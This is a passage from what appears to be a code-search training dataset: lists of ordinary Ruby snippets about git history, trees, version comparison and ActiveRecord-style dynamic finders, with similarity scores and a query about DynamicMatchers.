"def <=>(other) \n\n versionComparison = Substring.new(get_version_string) <=> Substring.new(other.get_version_string)\n (return versionComparison) if versionComparison != 0\n\n other_pre = other.instance_variable_get('@pre')\n if @pre != nil and other_pre == nil\n return -1\n elsif @pre == nil and other_pre != nil\n return 1\n elsif @pre != nil and other_pre != nil\n pre_comparison = Substring.new(@pre) <=> Substring.new(other_pre)\n (return pre_comparison) if pre_comparison != 0\n end\n\n other_build = other.instance_variable_get('@build')\n if @build == nil and other_build != nil\n return -1\n elsif @build != nil and other_build == nil\n return 1\n elsif @build != nil and other_build != nil\n build_comparison = Substring.new(@build) <=> Substring.new(other_build)\n (return build_comparison) if build_comparison != 0\n end\n\n return 0\n end",
"def ensure_fork_point(owner, repo)\n\n fork = ensure_repo(owner, repo, false)\n\n if fork[:forked_from].nil?\n warn \"Repo #{owner}/#{repo} is not a fork\"\n return nil\n end\n\n # Return commit if already specified\n unless fork[:forked_commit_id].nil?\n commit = db[:commits].where(:id => fork[:forked_commit_id]).first\n return commit unless commit.nil?\n end\n\n parent = db.from(:projects, :users).\\\n where(Sequel.qualify('projects', 'owner_id') => Sequel.qualify('users', 'id')).\\\n where(Sequel.qualify('projects', 'id') => fork[:forked_from]).\\\n select(Sequel.qualify('users', 'login'), Sequel.qualify('projects','name')).first\n\n if parent.nil?\n warn \"Unknown parent for repo #{owner}/#{repo}\"\n return nil\n end\n\n default_branch = retrieve_default_branch(parent[:login], parent[:name])\n\n # Retrieve diff between parent and fork master branch\n diff = retrieve_master_branch_diff(owner, repo, default_branch, parent[:login], parent[:name], default_branch)\n\n if diff.nil? or diff.empty?\n # Try a bit harder by refreshing the default branch\n default_branch = retrieve_default_branch(parent[:login], parent[:name], true)\n diff = retrieve_master_branch_diff(owner, repo, default_branch, parent[:login], parent[:name], default_branch)\n end\n\n if diff.nil? or diff.empty?\n # This means that the are no common ancestors between the repos\n # This can apparently happen when the parent repo was renamed or force-pushed\n # example: https://github.com/openzipkin/zipkin/compare/master...aa1wi:master\n warn \"No common ancestor between #{parent[:login]}/#{parent[:name]} and #{owner}/#{repo}\"\n return nil\n else\n debug \"Fork #{owner}/#{repo} is #{diff['ahead_by']} commits ahead and #{diff['behind_by']} commits behind #{parent[:login]}/#{parent[:name]}\"\n end\n\n if diff['ahead_by'].to_i > 0\n # This means that the fork has diverged, and we need to search through the fork\n # commit graph for the earliest commit that is shared with the parent. GitHub's\n # diff contains a list of divergent commits. We are sorting those by date\n # and select the earliest one. We do date sort instead of graph walking as this\n # would be prohibetively slow if the commits for the parent did not exist.\n earliest_diverging = diff['commits'].sort_by{|x| x['commit']['author']['date']}.first\n\n if earliest_diverging['parents'].nil?\n # this means that the repo was forked from the from the parent repo's initial commit. thus, they both share an initial commit.\n # example: https://api.github.com/repos/btakita/pain-point/compare/master...spent:master\n likely_fork_point = ensure_commit(parent[:name], earliest_diverging['sha'], parent['login'])\n else\n # Make sure that all likely fork points exist for the parent project\n # and select the latest of them.\n # https://github.com/gousiosg/github-mirror/compare/master...pombredanne:master\n likely_fork_point = earliest_diverging['parents'].\\\n map{ |x| ensure_commit(parent[:name], x['sha'], parent[:login])}.\\\n select{|x| !x.nil?}.\\\n sort_by { |x| x[:created_at]}.\\\n last\n end\n forked_sha = likely_fork_point[:sha]\n else\n # This means that the fork has not diverged.\n forked_sha = diff['merge_base_commit']['sha']\n end\n\n forked_commit = ensure_commit(repo, forked_sha, owner);\n\n debug \"Fork commit for #{owner}/#{repo} is #{forked_sha}\"\n\n unless forked_commit.nil?\n db[:projects].filter(:id => fork[:id]).update(:forked_commit_id => forked_commit[:id])\n info \"Repo #{owner}/#{repo} was forked at #{parent[:login]}/#{parent[:name]}:#{forked_sha}\"\n end\n\n db[:commits].where(:sha => forked_sha).first\n end",
"def sort_leafs!\n leafs.sort! { |a, b| a.position.to_i <=> b.position.to_i }\n end",
"def last_commit(js_name)\n sha1 = `git log --pretty=%H -1 #{js_name}` \nend",
"def status(full=false)\n a = commit_tree.flatten\n b = tree.flatten\n \n diff = {}\n (a.keys | b.keys).collect do |key|\n a_entry = a.has_key?(key) ? a[key] : nil\n b_entry = b.has_key?(key) ? b[key] : nil\n \n change = case\n when a_entry && b_entry\n next unless a_entry != b_entry\n :mod\n when a_entry\n :rm\n when b_entry\n :add\n end\n \n diff[key] = full ? [change, a_entry || [], b_entry || []] : change\n end\n diff\n end",
"def test_lca\n #build the following tree\n tree = BinTree.new\n tree.add(TreeNode.new(8)) # => 8\n tree.add(TreeNode.new(1)) # => / \\\n tree.add(TreeNode.new(4)) # => 1 17\n tree.add(TreeNode.new(17)) # => / \\\n tree.add(TreeNode.new(-3)) # =>-3 4\n\n #test lca for two child nodes of root is root\n x = tree.lowest_com_ancestor(TreeNode.new(17), TreeNode.new(1))\n assert_equal(8, x.value)\n\n #test one node being the parent of the other returns the parent\n x = tree.lowest_com_ancestor(TreeNode.new(4), TreeNode.new(1))\n assert_equal(1, x.value)\n\n #test far sides of tree return root\n x = tree.lowest_com_ancestor(TreeNode.new(-3), TreeNode.new(17))\n assert_equal(8, x.value)\n\n #test negative value works normally\n x = tree.lowest_com_ancestor(TreeNode.new(4), TreeNode.new(-3))\n assert_equal(1, x.value)\n\n #test that if both nodes are the same, returns that node\n x = tree.lowest_com_ancestor(TreeNode.new(17), TreeNode.new(17))\n assert_equal(17, x.value)\n\n #test negative with root itself returns root\n x = tree.lowest_com_ancestor(TreeNode.new(-3), TreeNode.new(8))\n assert_equal(8, x.value)\n\n #test node not in tree\n x = tree.lowest_com_ancestor(TreeNode.new(-7), TreeNode.new(8))\n assert x == nil\n\n #test nil node\n x = tree.lowest_com_ancestor(nil, TreeNode.new(-3))\n assert x == nil\n end",
"def changes_since_last_tag\n `git --no-pager log $(git describe --tags --abbrev=0)..HEAD --grep=\"Merge\" --pretty=format:\"%t - %s%n%b%n\"`\nend",
"def milestone_commit?\n self.milestones.collect(&:version_number).include? self.logical_version_number - 1\n end",
"def branches(*nodes)\n branches = []\n nodes = [changelog.tip] if nodes.empty?\n # for each node, find its first parent (adam and eve, basically)\n # -- that's our branch!\n nodes.each do |node|\n t = node\n # traverse the tree, staying to the left side\n # node\n # / \\\n # parent1 parent2\n # .... ....\n # This will get us the first parent. When it's finally NULL_ID,\n # we have a root -- this is the basis for our branch.\n loop do\n parents = changelog.parents_for_node t\n if parents[1] != NULL_ID || parents[0] == NULL_ID\n branches << [node, t, *parents]\n break\n end\n t = parents.first # get the first parent and start again\n end\n end\n \n branches\n end",
"def commits\n repositories.map { |r| HoC.new(r, log: @log).commits }.inject(&:+)\n end",
"def commits(start = 'master', max_count = 10, skip = 0)\n self.find_commits(options = {:ref => start, :max_count => max_count, :skip => skip})\n end",
"def parse!\n return if @parsed\n \n log_data = `git log -1 HEAD 2> /dev/null`\n \n unless log_data.empty?\n # DETERMINING PARENTS\n commit = log_data[/^commit (.+)$/, 1]\n dad = commit ? commit[0..6] : nil\n mom = nil\n \n if log_data =~ /^Merge: (.+)\\.\\.\\. (.+)\\.\\.\\.$/ # Merge: 1c002dd... 35cfb2b...\n dad = $1 # just have them both use the short name, nbd\n mom = $2\n end\n \n @parents = [dad, mom].compact.map {|p| Changeset.new @repo, p }\n else\n @parents = []\n end\n @parsed = true\n end",
"def leaf?\n right - left == 1\n end",
"def root?\n parent_id = self[parent_col_name]\n (parent_id == 0 || parent_id.nil?) && self[right_col_name] && self[left_col_name] && (self[right_col_name] > self[left_col_name])\n end",
"def root?\n parent_id = self[parent_col_name]\n (parent_id == 0 || parent_id.nil?) && self[right_col_name] && self[left_col_name] && (self[right_col_name] > self[left_col_name])\n end",
"def initial_commit?\n !Overcommit::Utils.execute(%w[git rev-parse HEAD]).success?\n end",
"def initial_commit?\n !Overcommit::Utils.execute(%w[git rev-parse HEAD]).success?\n end",
"def commit_hash(branch_or_tag = nil)\n version = 'HEAD'\n working_dir do\n version = git 'rev-parse', branch_or_tag || 'HEAD'\n end\n version.strip\n end",
"def getChangesOfCommit(commit_id = false)\n my_commit = ((commit_id == false and @repo.commits.size > 0) ? @repo.commits.first : @repo.commit(commit_id))\n if my_commit == nil\n return false\n end\n \n # get list of changed files and parse it\n @filelist = Hash.new\n options = {:r => true, :name_status => true, :no_commit_id => true}\n if @repo.commit(my_commit.sha).parents[0] == nil # if my_commit is the first commit\n options[:root] = true\n end\n changed_files_list = @git.diff_tree(options, my_commit.id).strip\n if changed_files_list.class == String and changed_files_list.length > 0\n changed_files_list.split(\"\\n\").each do |f|\n commit = my_commit\n operation = f[0,1] # D/M/A\n filepath = f[2..-1] # path+filename\n path = \"/\" + filepath.match(/^.+\\//).to_s # just path\n status = \"created\"\n if operation =~ /^D$/i # deleted\n # the file was deleted, so get the blob from the parent-commit\n commit = @repo.commit(my_commit.parents[0].sha)\n status = \"deleted\"\n elsif operation =~ /^M$/i # modified\n status = \"updated\"\n end\n blob = commit.tree/(filepath)\n\n #name = filepath.gsub(path[1..-1], '') #blob.name\n path = path.gsub(/\\/private\\/[0-9]+\\//,'')\n \n \n \n @filelist[\"/\" + filepath] = {\"uploaded\" => '1', \"status\" => status, \"blob_hash\" => blob.id, \"name\" => blob.name, \"path\" => \"/#{path}\", \"size\" => blob.size, \"filetype\" => blob.mime_type, \"filedate\" => @repo.commit(commit.sha).date.strftime('%T %F').to_s}\n \n \n end\n end\n\n if @filelist.size > 0\n return @filelist\n else\n return false\n end\n end",
"def diff_to_compare; end",
"def git_current_commit_sha\n `git rev-parse HEAD`\n end",
"def branches\n if ancestor_ids.empty? then\n nil\n else\n read_attribute(self.base_class.structure_column).to_s.split(',')\n end\n end",
"def branches; end",
"def generate_git_commit_log(rev=ENV['GIT_PREVIOUS_SUCCESSFUL_COMMIT'] || 'HEAD^^^^^')\n g = Git.open(ENV['PWD'], :log => Logger.new(STDOUT))\n begin\n change_log = g.log.between(rev).map { |c| \"- \" + c.message.lines.first.chomp }.join \"\\n\"\n \"Commit Log:\\n\\n#{change_log}\\n\"\n rescue\n \"Unable to parse commit logs\"\n end\nend",
"def recent_branches_fast\n\t\trefs = []\n\t\trefs.concat Pathname.glob(dot_git + 'refs/heads/**/*')\n\t\trefs.concat Pathname.glob(dot_git + 'refs/remotes/**/*')\n\n\t\tbranches = refs.reject {|r| r.directory? }.sort_by {|r| r.mtime }.last(@opts[:max_num]).map {|r|\n\t\t\tref = r.read.chomp\n\t\t\tif name = ref[/ref: (.+)/, 1]\n\t\t\t\tbegin\n\t\t\t\t\t(dot_git + name).read.chomp\n\t\t\t\trescue\n\t\t\t\t\t`git rev-parse #{name}`.chomp\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tref\n\t\t\tend\n\t\t}\n\t\tretrieve_branch_details(branches)\n\tend",
"def branch_commits\n\tcommits = {}\n\tresp = github_api(\"branches\")\n\tresp.each do |b|\n\t\t#puts b\n\t\tcommit_dates = []\n\t\tsha = b[\"commit\"][\"sha\"]\n\t\twhile true\n\t\t\tr = github_api(\"commits?sha=#{sha}&per_page=100\")\n\t\t\t# puts r\n\t\t\tif r.count != 1 \n\t\t\t\tsha = r[r.count - 1][\"sha\"]\n\t\t\t\tcommit_dates = commit_dates.concat(r[0..-1].map {|c| c[\"commit\"][\"committer\"][\"date\"]})\n\t\t\t\t#puts commit_dates\n\t\t\telse\n\t\t\t\tcommit_dates = commit_dates.concat(r.map {|c| c[\"commit\"][\"committer\"][\"date\"]})\n\t\t\t\tbreak\n\t\t\tend\n\t\tend\n\t\tcommits[b[\"name\"]] = commit_dates\n\tend\n\tcommits\nend",
"def versions\n self.git.commits\n end",
"def new?(commit, old_cache)\n !old_cache.key?(commit[:url]) or old_cache[commit[:url]] < commit[:revision].to_i\n end",
"def heap_down(parentIndex)\n # compare node @ parentIndex to its children\n # if parent <= both children, min heap :-) base case\n # if parent > either/both child, swap places with the smaller child, then min_heap_down(childIndex), recursion!\n # when no more children to compare to, base case :-)\n \n # first find out if parent has LC or RC\n indexLC = parentIndex * 2 + 1 \n indexRC = indexLC + 1\n \n if @store.length > indexRC\n # both LC & RC exist, need to compare with both children\n if (@store[parentIndex].key > @store[indexLC].key) && (@store[parentIndex].key > @store[indexRC].key)\n # both LC & RC broke the heap property, which one is smaller?\n @store[indexLC].key > @store[indexRC].key ? (indexOfSmallerChild = indexRC) : (indexOfSmallerChild = indexLC)\n swap(parentIndex, indexOfSmallerChild)\n heap_down(indexOfSmallerChild)\n \n elsif @store[parentIndex].key > @store[indexLC].key\n # only LC broke the heap property\n swap(parentIndex, indexLC)\n heap_down(indexLC)\n \n elsif @store[parentIndex].key > @store[indexRC].key\n # only RC broke the heap property\n swap(parentIndex, indexRC)\n heap_down(indexRC)\n \n else \n # both children are bigger than parent -> min heap :-) base case\n return\n end\n \n elsif @store.length > indexLC\n # only LC exists\n if @store[parentIndex].key <= @store[indexLC].key\n # min heap :-) base case\n return \n else\n swap(parentIndex, indexLC)\n heap_down(indexLC)\n end\n \n else\n # no children, base case\n return\n end\n end",
"def child? \n parent_id = self[parent_col_name]\n !(parent_id == 0 || parent_id.nil?) && (self[left_col_name] > 1) && (self[right_col_name] > self[left_col_name])\n end",
"def child? \n parent_id = self[parent_col_name]\n !(parent_id == 0 || parent_id.nil?) && (self[left_col_name] > 1) && (self[right_col_name] > self[left_col_name])\n end",
"def commit(opts = {:use_dirstate => true, :update_dirstate => true})\n valid = false # don't update the DirState if this is set!\n \n commit = ((modified || []) + (added || [])).sort\n remove = removed\n xtra = extra.dup\n branchname = xtra[\"branch\"]\n text = description\n \n p1, p2 = parents.map {|p| p.node }\n c1 = repo.changelog.read(p1) # 1 parent's changeset as an array\n c2 = repo.changelog.read(p2) # 2nd parent's changeset as an array\n m1 = repo.manifest.read(c1[0]).dup # 1st parent's manifest\n m2 = repo.manifest.read(c2[0]) # 2nd parent's manifest\n \n if opts[:use_dirstate]\n oldname = c1[5][\"branch\"]\n tests = [ commit.empty?, remove.empty?, !opts[:force],\n p2 == NULL_ID, branchname == oldname ]\n if tests.all?\n UI::status \"nothing changed\"\n return nil\n end\n end\n \n xp1 = p1.hexlify\n xp2 = p2 == NULL_ID ? \"\" : p2.hexlify\n \n Hook.run_hook :pre_commit\n journal = Amp::Mercurial::Journal.new(:opener => repo.store_opener)\n \n fresh = {} # new = reserved haha i don't know why someone wrote \"haha\"\n changed = []\n link_rev = repo.size\n \n (commit + (remove || [])).each {|file| UI::status file }\n \n # foreach file in commit:\n # commit_file file\n # end\n commit.each do |file|\n versioned_file = self[file]\n fresh[file] = versioned_file.commit :manifests => [m1, m2],\n :link_revision => link_rev,\n :journal => journal ,\n :changed => changed\n \n new_flags = versioned_file.flags\n \n # TODO\n # Clean this shit up\n if [ changed.empty? || changed.last != file, \n m2[file] != fresh[file]\n ].all?\n changed << file if m1.flags[file] != new_flags\n end\n m1.flags[file] = new_flags\n \n repo.staging_area.normal file if opts[:use_dirstate]\n end\n \n # add_manifest_entry\n man_entry, updated, added = *add_manifest_entry(:manifests => [m1, m2],\n :changesets => [c1, c2],\n :journal => journal ,\n :link_rev => link_rev,\n :fresh => fresh ,\n :remove => remove ,\n :changed => changed )\n\n # get_commit_text\n text = get_commit_text text, :added => added, :updated => updated,\n :removed => removed, :user => user ,\n :empty_ok => opts[:empty_ok] ,\n :use_dirstate => opts[:use_dirstate]\n \n # atomically write to the changelog\n # add_changelog_entry\n # for the unenlightened, rents = 'rents = parents\n new_rents = add_changelog_entry :manifest_entry => man_entry,\n :files => (changed + removed),\n :text => text,\n :journal => journal,\n :parents => [p1, p2],\n :user => user,\n :date => date,\n :extra => xtra\n \n \n # Write the dirstate if it needs to be updated\n # basically just bring it up to speed\n if opts[:use_dirstate] || opts[:update_dirstate]\n repo.dirstate.parents = new_rents\n removed.each {|f| repo.dirstate.forget(f) } if opts[:use_dirstate]\n repo.staging_area.save\n end\n \n # The journal and dirstates are awesome. Leave them be.\n valid = true\n journal.close\n \n # if an error and we've gotten this far, then the journal is complete\n # and it deserves to stay (if an error is thrown and journal isn't nil,\n # the rescue will destroy it)\n journal = nil\n \n # Run any hooks\n Hook.run_hook :post_commit, :added => added, :modified => updated, :removed => removed, \n :user => user, :date => date, :text => text,\n :revision => repo.changelog.index_size\n return new_rents\n rescue StandardError => e\n if !valid\n repo.dirstate.invalidate!\n end\n if e.kind_of?(AbortError)\n UI::warn \"Abort: #{e}\"\n else\n UI::warn \"Got exception while committing. #{e}\"\n UI::warn e.backtrace.join(\"\\n\")\n end\n \n # the journal is a vestigial and incomplete file.\n # destroyzzzzzzzzzzz\n journal.delete if journal\n end",
"def cmp (left_element, right_element)\n #puts left_element\n #puts right_element\n if @order == \"ASC\"\n if left_element[@order_column] < right_element[@order_column]\n return true\n else\n return false\n end\n else\n if left_element[@order_column] > right_element[@order_column]\n return true\n else\n return false \n end \n end\n end",
"def test_comparison_advanced\n assert_equal(0, @nested1 <=> @nested2)\n assert_equal(1, @nested3 <=> @nested1)\n assert_equal(-1, @nested1 <=> @nested3)\n\n assert_equal(0, [1] <=> [1.000])\n assert_equal(-1, [1] <=> [1.001])\n assert_equal(1, [1] <=> [0.999])\n end",
"def rebase(dir, downstream_commits, upstream_ref)\n Dir.chdir(dir) do\n # simply checkout upstream ref\n puts `git checkout #{upstream_ref}`\n # for downstream, get a list of the commits newer than matching red\nputs downstream_commits.inspect\n downstream_commits.each do |dsc|\n puts `git cherry-pick #{dsc} --allow-empty`\n end\n end\nend",
"def compare(x, y); end",
"def recent_commit_shas count\n array_output_of(\"git rev-list HEAD -n #{count}\").reverse\nend",
"def possible_builds\n commits = [@job.commit]\n\n if defined?(SamsonKubernetes) && @job.deploy.kubernetes_reuse_build\n previous_scope = @job.deploy.stage.deploys.prior_to(@job.deploy).where(kubernetes_reuse_build: false)\n previous = previous_scope.first&.job&.commit\n commits.unshift previous if previous\n end\n\n Build.where(git_sha: commits).sort_by { |build| [commits.index(build.git_sha), -build.updated_at.to_i] }\n end",
"def possible_branch_nodes\r\n max_depth = max_category_depth\r\n article_categories.select {|ac| ac.parent_id.nil? || (ac.depth < max_depth)}\r\n end",
"def commit\n @commit ||= $repo.log.object(@rev || 'master').path(@name).first\n end"
] | [
"0.6407233",
"0.64065945",
"0.6175936",
"0.61369807",
"0.6090733",
"0.6078224",
"0.59672207",
"0.5937576",
"0.58062774",
"0.580501",
"0.57094014",
"0.5683315",
"0.5678828",
"0.56471646",
"0.5612458",
"0.559004",
"0.5525835",
"0.55187565",
"0.54911506",
"0.54734087",
"0.547053",
"0.5467643",
"0.54658663",
"0.54638517",
"0.54632115",
"0.54487956",
"0.54459864",
"0.54400855",
"0.5439888",
"0.543929",
"0.54250497",
"0.54189306",
"0.5406935",
"0.5397912",
"0.53979003",
"0.5396883",
"0.5396861",
"0.53967917",
"0.53938806",
"0.53876656",
"0.53769886",
"0.537345",
"0.5364779",
"0.5346431",
"0.53425664",
"0.5334269",
"0.53314143",
"0.53261614",
"0.5319191",
"0.53084683",
"0.5307491",
"0.52984446",
"0.5283825",
"0.5271625",
"0.52539086",
"0.5247402",
"0.5242201",
"0.5238083",
"0.5235886",
"0.5233109",
"0.52305067",
"0.5214619",
"0.5208793",
"0.52001965",
"0.5199608",
"0.51878977",
"0.51874906",
"0.5186266",
"0.5172555",
"0.51713693",
"0.51697683",
"0.5154512",
"0.5152336",
"0.51461285",
"0.51461285",
"0.5142039",
"0.5142039",
"0.51357967",
"0.51230735",
"0.51134825",
"0.5110463",
"0.5107847",
"0.5107344",
"0.51045513",
"0.50845736",
"0.50833356",
"0.5082568",
"0.5082106",
"0.5080956",
"0.5073255",
"0.5073255",
"0.50714266",
"0.5070926",
"0.50669104",
"0.50566465",
"0.5056614",
"0.50540686",
"0.50509125",
"0.50504845",
"0.50447035"
] | 0.737213 | 0 |
this method is patterned after an analog in ActiveRecord::DynamicMatchers | def all_attributes_exists?(attribute_names)
attribute_names.reduce(true) {|result, att| ALL_FIELDS.include? att or SUPPORTED_ALTS.include? att}
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def matcher; end",
"def matcher; end",
"def submatchers; end",
"def mock_model(model,method,expected)\n expected=case\n# See ActiveRecord::Base method, '==='. Another way is to use object_id:\n when DirectoryPicture==model then Picture\n when FileTag ==model then Tag\n end.all.map &method if :all==expected\n model.expects(:all).at_least_once.returns(expected.sort.reverse.\n map{|e| (p=model.new).expects(method).at_least_once.returns e; p} )\n end",
"def association_matcher; end",
"def matcher_name; end",
"def matcher_name; end",
"def method_missing(sym, *args, &block) # :nodoc:\n return Spec::Matchers::Be.new(sym, *args) if sym.to_s.starts_with?(\"be_\")\n return has(sym, *args) if sym.to_s.starts_with?(\"have_\")\n super\n end",
"def underlying_matcher; end",
"def underlying_matcher; end",
"def test_dynamic_finders_with_scope\n User.current = users(:user_1)\n assert_equal things(:thing_1), Thing.find_by_name('Thing 1')\n end",
"def allow_matcher; end",
"def matchers\n self.class.matchers\n end",
"def matchers\n cached_matchers\n end",
"def should; super end",
"def test_like_search_condition\n search_conditions = [[\"Wes\", :like]]\n query_fields = {'some_table.first_name' => :string} \n conditions = build_query(search_conditions, query_fields) \n \n assert_equal '(some_table.first_name LIKE :keyword_0)', conditions.first\n assert_equal '%Wes%', conditions.last[:keyword_0]\n end",
"def matchers\n @matchers ||= {}\n end",
"def post_match() end",
"def environment_matchers=(_arg0); end",
"def allow_value_matcher; end",
"def match(klass); end",
"def method_missing(method_id, *arguments, &block)\n if match = DynamicFinderMatch.match(method_id)\n attribute_names = match.attribute_names\n super unless all_attributes_exists?(attribute_names)\n if match.finder?\n finder = match.finder\n bang = match.bang?\n self.class_eval <<-EOS, __FILE__, __LINE__ + 1\n def self.#{method_id}(*args)\n options = args.extract_options!\n attributes = construct_attributes_from_arguments(\n [:#{attribute_names.join(',:')}],\n args\n )\n finder_options = { :conditions => attributes }\n validate_find_options(options)\n\n #{'result = ' if bang}if options[:conditions]\n with_scope(:find => finder_options) do\n find(:#{finder}, options)\n end\n else\n find(:#{finder}, options.merge(finder_options))\n end\n #{'result || raise(RecordNotFound, \"Couldn\\'t find #{name} with #{attributes.to_a.collect {|pair| \"#{pair.first} = #{pair.second}\"}.join(\\', \\')}\")' if bang}\n end\n EOS\n send(method_id, *arguments)\n elsif match.instantiator?\n instantiator = match.instantiator\n self.class_eval <<-EOS, __FILE__, __LINE__ + 1\n def self.#{method_id}(*args)\n attributes = [:#{attribute_names.join(',:')}]\n protected_attributes_for_create, unprotected_attributes_for_create = {}, {}\n args.each_with_index do |arg, i|\n if arg.is_a?(Hash)\n protected_attributes_for_create = args[i].with_indifferent_access\n else\n unprotected_attributes_for_create[attributes[i]] = args[i]\n end\n end\n\n find_attributes = (protected_attributes_for_create.merge(unprotected_attributes_for_create)).slice(*attributes)\n\n options = { :conditions => find_attributes }\n\n record = find(:first, options)\n\n if record.nil?\n record = self.new(unprotected_attributes_for_create)\n #{'record.save' if instantiator == :create}\n record\n else\n record\n end\n end\n EOS\n send(method_id, *arguments, &block)\n end\n else\n super\n end\n end",
"def mock_model_simple(model,expected=:all)\n mock_model model, :name, expected\n end",
"def request_test_helpers_require_keyword_args?\n ActiveRecord::VERSION::STRING.to_f >= 5.0\nend",
"def test_like_two_search_condition\n search_conditions = [[\"Wes\", :like],[\"Hays\", :like]]\n query_fields = {'some_table.first_name' => :string,'some_table.last_name' => :string} \n conditions = build_query(search_conditions, query_fields) \n \n fields = ['first_name','last_name']\n regExs = [build_regex_for_like(fields,'keyword_0'), \n build_regex_for_like(fields,'keyword_1')].join('[ ]AND[ ]')\n \n assert_match /^#{regExs}$/, conditions.first\n assert_equal '%Wes%', conditions.last[:keyword_0]\n assert_equal '%Hays%', conditions.last[:keyword_1]\n end",
"def matches_conditions?(object, query); end",
"def match(object); end",
"def matcher_name=(_arg0); end",
"def sql_test(field, operator, value, lhs, &block) # :yields: finder_option_type, value\n return field.to_ext_method_sql(lhs, sql_operator(operator, field), value, &block) if field.virtual?\n\n yield(:keyparameter, lhs.sub(/^.*\\./,'')) if field.key_field\n\n condition, *values = if field.temporal?\n datetime_test(field, operator, value, &block)\n elsif field.set?\n set_test(field, operator, value, &block)\n else\n [\"#{field.to_sql(operator, &block)} #{self.sql_operator(operator, field)} #{value_placeholders(operator, value)}\", value]\n end\n values.each { |value| preprocess_parameters(field, operator, value, &block) }\n\n if field.relation && definition.reflection_by_name(field.definition.klass, field.relation).macro == :has_many\n connection = field.definition.klass.connection\n reflection = definition.reflection_by_name(field.definition.klass, field.relation)\n primary_key_col = reflection.options[:primary_key] || field.definition.klass.primary_key\n primary_key = \"#{connection.quote_table_name(field.definition.klass.table_name)}.#{connection.quote_column_name(primary_key_col)}\"\n key, join_table = if reflection.options.has_key?(:through)\n [primary_key, has_many_through_join(field)]\n else\n [connection.quote_column_name(field.reflection_keys(reflection)[1]),\n connection.quote_table_name(field.klass.table_name)]\n end\n\n condition = \"#{primary_key} IN (SELECT #{key} FROM #{join_table} WHERE #{condition} )\"\n end\n condition\n end",
"def match(*, &match_dsl)\n instance_eval(&match_dsl) if match_dsl\n end",
"def matcher=(_arg0); end",
"def have_table(table_name, &block)\n HaveTableMatcher.new table_name, &block\nend",
"def when(*array_matchers, **keyword_matchers, &fn)\n @matchers << Qo::Matchers::GuardBlockMatcher.new(\n array_matchers,\n keyword_matchers,\n &(fn || Qo::IDENTITY)\n )\n end",
"def predicate_matchers\n @predicate_matchers ||= {:exist => :exist?, :an_instance_of => :is_a?}\n end",
"def matchers\n @matchers ||= []\n end",
"def test_find_by_dynamic_with_bunk_scope\n User.current = users(:user_1)\n\n assert_equal 0, Thing.find_all_by_user_id(2).size\n end",
"def rspec_mocks_method\n prefix = @count.nil? ? 'allow' : 'expect'\n suffix = @any_instance ? '_any_instance_of' : ''\n (prefix + suffix).to_sym\n end",
"def dynamic?; end",
"def mock_model_bad_names(model,expected)\n model.expects(:find_bad_names).returns expected.sort.reverse\n end",
"def test_setting_conditions\n [Account, User, Order].each do |klass|\n conditions = \"Searchlogic::Cache::#{klass}Conditions\".constantize.new\n conditions.class.condition_names.each do |condition_name|\n conditions.send(\"#{condition_name}=\", 1)\n assert_equal 1, conditions.send(condition_name)\n end\n end\n end",
"def matched_by\n @filters.matches\n end",
"def method_missing(method, *args)\n if method =~ /find/\n finder = method.to_s.split('_by_').first\n attributes = method.to_s.split('_by_').last.split('_and_')\n\n chain = Dynamoid::Criteria::Chain.new(self)\n chain.query = Hash.new.tap {|h| attributes.each_with_index {|attr, index| h[attr.to_sym] = args[index]}}\n \n if finder =~ /all/\n return chain.all\n else\n return chain.first\n end\n else\n super\n end\n end",
"def matches?(value, context); end",
"def method_missing(method_id, *arguments)\n if match = method_id_to_matches(method_id.to_s)\n @table_name = match.captures.first\n\n finder = determine_finder(match)\n attribute_names = []\n attribute_names ||= extract_attribute_names_from_match(match)\n\n conditions = construct_conditions_from_arguments(attribute_names, arguments)\n\n case extra_options = arguments[attribute_names.size]\n when nil\n options = {:conditions => conditions}\n send(finder, options)\n when Hash\n send(finder)\n end\n\n return self\n else\n super\n end\n end",
"def test_some_invalid_columns\n process :nasty_columns_1\n assert_response :success\n\n assert_deprecated_assertion { assert_invalid_record 'company' }\n assert_deprecated_assertion { assert_invalid_column_on_record 'company', 'rating' }\n assert_deprecated_assertion { assert_valid_column_on_record 'company', 'name' }\n assert_deprecated_assertion { assert_valid_column_on_record 'company', %w(name id) }\n end",
"def matchers\n Argument::Matcher.subclasses.map { |subclass| subclass.new(@arguments) }\n end",
"def pre_match() end",
"def find_records(predicate)\n raise_must_override\n end",
"def post_match\n end",
"def matches?\n raise NotImplementedError, 'You must override the matches? method in your matcher.'\n end",
"def pre_match\n end",
"def extended(mod)\n mod.extend(RSpec::Matchers)\n end",
"def matches?(model)\n @model = model\n field = @model.properties[@expected.to_sym]\n \n if @field_type.nil?\n RSpec::Expectations.fail_with \"you must specify a property type (String, Integer)\"\n elsif @expected.nil?\n RSpec::Expectations.fail_with \"expected #{model.to_s} to have field #{@expected}\"\n elsif @field_type != field.field.class\n RSpec::Expectations.fail_with \"expected #{field.field} to have type of #{@field_type.to_s} but has #{field.field.class.to_s}\"\n else\n true\n end\n end",
"def expected_method; end",
"def match\n @matches = attributes_enumerator.map do |(type, value), index|\n attribute_name = self.class.names[index]\n attributes.store(\n attribute_name, type.match(value, context: @context.dup)\n )\n end\n return if (failures = @matches.select(&:invalid?)).empty?\n failures.unshift(failure).reduce(:merge!)\n end",
"def method_missing(method_id, *arguments, &block)\n if match = ActiveRecord::DynamicFinderMatch.match(method_id)\n attribute_names = match.attribute_names\n super unless all_attributes_exist?(attribute_names)\n if !arguments.first.is_a?(Hash) && arguments.size < attribute_names.size\n ActiveSupport::Deprecation.warn(\n \"Calling dynamic finder with less number of arguments than the number of attributes in \" \\\n \"method name is deprecated and will raise an ArguementError in the next version of Rails. \" \\\n \"Please passing `nil' to the argument you want it to be nil.\"\n )\n end\n if match.finder?\n options = arguments.extract_options!\n relation = options.any? ? scoped(options) : scoped\n relation.send :find_by_attributes, match, attribute_names, *arguments\n elsif match.instantiator?\n scoped.send :find_or_instantiator_by_attributes, match, attribute_names, *arguments, &block\n end\n elsif match = ActiveRecord::DynamicScopeMatch.match(method_id)\n attribute_names = match.attribute_names\n super unless all_attributes_exist?(attribute_names)\n if arguments.size < attribute_names.size\n ActiveSupport::Deprecation.warn(\n \"Calling dynamic scope with less number of arguments than the number of attributes in \" \\\n \"method name is deprecated and will raise an ArguementError in the next version of Rails. \" \\\n \"Please passing `nil' to the argument you want it to be nil.\"\n )\n end\n if match.scope?\n self.class_eval <<-METHOD, __FILE__, __LINE__ + 1\n def self.#{method_id}(*args) # def self.scoped_by_user_name_and_password(*args)\n attributes = 